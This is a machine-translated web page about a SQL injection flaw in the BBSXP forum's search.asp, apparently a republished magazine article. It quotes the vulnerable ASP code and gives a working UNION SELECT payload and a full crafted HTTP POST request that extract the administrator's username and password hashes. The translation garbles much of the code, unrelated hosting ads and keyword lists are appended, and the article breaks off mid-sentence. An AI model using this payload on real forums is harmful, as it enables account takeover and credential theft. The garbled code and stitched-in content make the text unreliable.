注入bbsxp注入漏洞(BBSXP injection vulnerability)

bbsxp  时间:2021-02-07  阅读:()

bbsxp注入漏洞BBSXP injection vulnerability

BBSXP injection vulnerability

BBSXP injection vulnerability

The newBBSXP injection vulnerability reappearance, can get theadministrator account password directly

-- I found a summary of the bbsxp5 sp1 vulnerability

There was an article about BBSXP in the early days of themagazine. It was a Cookie injection attack. The author wasingenious and could think of a logical loophole.

After reading the article, the school did not read the code.Having nothing to do during the summer vacation, I downloadedthe latest version of BBSXP and read it.

BBSXP is really small and small, and the file is short and short,but it' s a bit different from a DVBBS, whether it' s a functionor an interface.

But it' s a little bit of a flaw, after three years of testing.One. Search for loopholes

BBS to string input with HTMLEncode conversion, the numerictype with int function adjustment, Isnumeric functionjudgment.

Obviously there are Numbers and strings in the query that must

not be used as input values. You can't input as a value, whydo you enter it?

That' s the crux of the matter. I scanned each file with thisidea, and it took a long time to get to search. Asp

(seem to have had a loophole before, changed the original buthave a new) found a loophole, look at the code together.<! - # include file = "setup. Asp" -- >

The < %top

If request.cookies (" username ") = empty then error (" < li >you haven' t < a href = login.asp > login ")

DetectPost

If the Request (" menu ") = "ok" then

Search = Request (" search ")

Forumid forumid = Request (" ")

TimeLimit = Request (" TimeLimit ")

The content = the HTMLEncode (Request (" content ") )

Searchxm= the HTMLEncode (Request (" searchxm "))

Searchxm2 = the HTMLEncode (Request (" searchxm2 ") )

Searchxm2 = replace (searchxm2, "@", "&")

If the content = empty then the content = Request. Cookies ("u sername ")

If isnumeric (" "&forumid&" ") then forumidor = "forumid ="& "forumid &" "and"

If the search = "author" then

The item = "&" searchxm& "= ' " & the content &" "

Elseif search = "key" then

The item= "&" searchxm2 & "like '%" & the content &%' ""End the if

If TimeLimit < > "" then TimeLimitList =" and lasttime > "&SqlNowString &" -"

SQL = "select top" &MaxSearch& "* from forum where deltopic< > 1 and" & forumidor & "" &" "&" "&" & "&" & "&" & "&" "&""

"& TimeLimitList &" order by lasttime Desc"

Rs. The Open SQL, Conn, 1

. . . . . .

Let' s take a closer look at SQL = "select top" &MaxSearch. . .This one, where MaxSearch is defined, the default value is 500,We're left with 3 out of the outside.

1. If isnumeric (" "& forumid&" ") then forumidor = "forumid=" & "forumid &" "and"

As long as the forumid input is empty, forumidor is empty.

2. If TimeLimit < > ", "then TimeLimitList =" and lasttime >"& SqlNowString &" & int "(TimeLimit) &" "

TimeLimit is an integer, input (enter a 1) , then TimeLimitListbecomes "and lasttime > now () -1",

Change to "and lasttime > getdate () -1" in MSSQL.

3. If the search = "author" then

The item= "&" searchxm& "= ' " & the content &" "

Elseif search = "key" then

The item= "&" searchxm2 & "like '%" & the content &%' ""End the if

As long as the search = "author",

If the content is arbitrary input (to lose a abcd) , then item= HTMLEncode (searchxm) = 'abcd' ,

As soon as we construct the input and pass the above statement,the SQL statement becomes:

Select top 500*from forum where deltopic < > 1 and [HTMLEncode(searchxm) ] = 'abcd'

And lasttime > now () - 1 order by lasttime Desc

There are no single quotes around the brackets enclosed inbrackets, and obviously it can be used.

Let' s look at the HTMLEncode function first

The function the HTMLEncode (fString)

FString = replace (fString, "; ", "& # 59;")

FString = server. The htmlencode (fString)

FString = replace (fString, "' ", "& # 39;")

FString = replace (fString, "-", "& # 45; & # 45;")

FString = replace (fString, "", " the & # 92; ")

FString = replace (fString, vbCrlf, "< br >")

The HTMLEncode = fString

End the function

The filter is filtered, and the filter is very tight. Theprogrammer is also very difficult, and the filter is more thanlikely to affect the use.

There are fewer safety problems. So how do we use this filter?Naturally, you have to guess,

It is a feasible method, and the structure of the table is alsoknown, and it is easy to guess. But I' ll do it in a simple way.Two. Exploit

It is also valid for both ACCESS and MSSQL with a familiar unionquery. I'mnot going to write it, just to show you the results.Select top 500 * from forum where deltopic < > 1 and

The forumid= 0 union all select top 1, 1, [user] . Username astopic, forum. Use

Rname, content, forum. Posttime forum. Postip, 1, 1, 1, 1, 1, 1, 1,[user] . Userpass as lastname,

Lasttime, polltopic clubconfig. Adminpassword as pollresult,1 the from

[user], forum, clubconfig where [user] . Membercode=5 or forum.Id = 0 or clubconfig.adminpassword

= 'abcd' and lasttime > now () - 1 order by lasttime DescThe color part is the value of the searchxm we want to enter,and each character HTMLEncode function in the middle is notf iltered.

And the implication of this statement is that the statement infront of the union is false, because the forumid cannot be 0,The union only queries a record that contains theadministrator' s user name and encryption password, as well asthe encrypted password for community management.

The friend who knows the SQL statement will see it.

The number 1 does not make sense, just to match the type of thefield, ensuring that the number of fields before and after theunion is consistent with the type.

Here you can construct your own queries, and I give you areference.

Construct the input statement and construct the submission.Think of the classic WSE, if anyone thinks that you can writeyour own submit strings for the HTTP protocol,

I should also advise him to save energy and brain power.

(figure 1)

[2]

The construction is submitted as follows:

POST/BBSXP/search. Asp? The menu = ok HTTP / 1. 1

Accept: image/GIF, image/x-xbitmap, image/jpeg, image/pjpeg,appl ication/x- shockwave - f lash, appl ication/VND. Ms-excel,Appl ication/VND. - ms powerpoint, application/msword, * / *Referer: http://localhost:8000/bbsxp/search.asp

The Accept - Language: useful - cn

The content-type: application/x - WWW - form - urlencodedThe Accept - Encoding: gzip, deflate

The user-agent: Mozilla / 4.

0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)

Host: localhost: 8000

The Content - Length: 481

Connection: Keep Alive

The cache-control: no - Cache

Cookie: eremite = 0; Userpass =

E80B5017098950FC58AAD83C8C14978E; The username=admin; Skins= 1; ASPSESSIONIDSSRQSDTB =

OGLJMADCECKAFKGCPCCHBKHO; On l inet i me=2 d8%2004%2 d 13+2004%3 a08%3 a33; Addmin = 0

The content = fsaf&search = author&searchxm 20 forumid = % %3 d0 +union+all + select + top 1%+ 1 +2 c1 5 buser%2 c %%5 d.

Username + + topic as %2 cforum. The username% 2 ccontent %2 cforum. Posttime %2 cforum. Postip%2 c1%2 c1%2 c1%2 c1%2C1%2 C1%2 C1%2 c%5 buser%5 d. The userpass +as + lastname%2 clasttime%2 cpolltopic%2 cclubconfig. Adminpassword+ as+ pollresult % 2 c1 + from + % 5 buser cforum% 2 c % 5 d % 2Clubconfig +where + 5 buser % % 5 d. The membercode % 3 d5 +or + forum.

Id % 3 d0 + or + clubconf ig. Adminpassword&searchxm 2 =topic&TimeLimit = & forumid = & submit 1 = % BF % % % AA % CABC

CB % % % CB D1 F7

I've written an HTML page for the searchxm part, which can be

华为云(69元)828促销活动 2G1M云服务器

华为云818上云活动活动截止到8月31日。1、秒杀限时区优惠仅限一单!云服务器秒杀价低至0.59折,每日9点开抢秒杀抢购活动仅限早上9点开始,有限量库存的。2G1M云服务器低至首年69元。2、新用户折扣区优惠仅限一单!购云服务器享3折起加购主机安全及数据库。企业和个人的优惠力度和方案是不同的。比如还有.CN域名首年8元。华为云服务器CPU资源正常没有扣量。3、抽奖活动在8.4-8.31日期间注册并...

Hostiger 16G大内存特价VPS:伊斯坦布尔机房,1核50G SSD硬盘200Mbps带宽不限流量$59/年

国外主机测评昨天接到Hostigger(现Hostiger)商家邮件推送,称其又推出了一款特价大内存VPS,机房位于土耳其的亚欧交界城市伊斯坦布尔,核50G SSD硬盘200Mbps带宽不限月流量只要$59/年。 最近一次分享的促销信息还是5月底,当时商家推出的是同机房同配置的大内存VPS,价格是$59.99/年,不过内存只有10G,虽然同样是大内存,但想必这次商家给出16G,价格却是$59/年,...

Dynadot COM特价新注册48元

想必我们有一些朋友应该陆续收到国内和国外的域名注册商关于域名即将涨价的信息。大概的意思是说从9月1日开始,.COM域名会涨价一点点,大约需要单个9.99美元左右一个。其实对于大部分用户来说也没多大的影响,毕竟如今什么都涨价,域名涨一点点也不要紧。如果是域名较多的话,确实增加续费成本和注册成本。今天整理看到Dynadot有发布新的八月份域名优惠活动,.COM首年注册依然是仅需48元,本次优惠活动截止...

bbsxp为你推荐
易pc华硕的易PC怎么样,能流畅运行的游戏大概是什么水平的?行业关键词为什么有些行业关键词竟价出价很低有些行业很高依赖注入Spring 的依赖注入是什么意思?pwPW考试是指什么网站运营网络运营主管的主要工作职责是什么?bt封杀为什么现在网上许多BT下载都被封了?bt封杀BT下载可以封杀迅雷吗?什么原理?能破吗?虚拟专用网虚拟专用网 有什么用处?小米手柄买了个小米蓝牙手柄,游戏是可以玩但是按键位置不舒服,怎么可以改按键系统分析员系统分析师是什么职业?主要做什么工作?
老域名 海外服务器 免空 秒杀预告 河南m值兑换 南通服务器 qq对话框 metalink 免费的域名 wordpress中文主题 lamp什么意思 双线空间 阿里云邮箱登陆地址 镇江高防 香港ip qq空间打开很慢 服务器是什么意思 建站行业 vpsaa 次世代主机 更多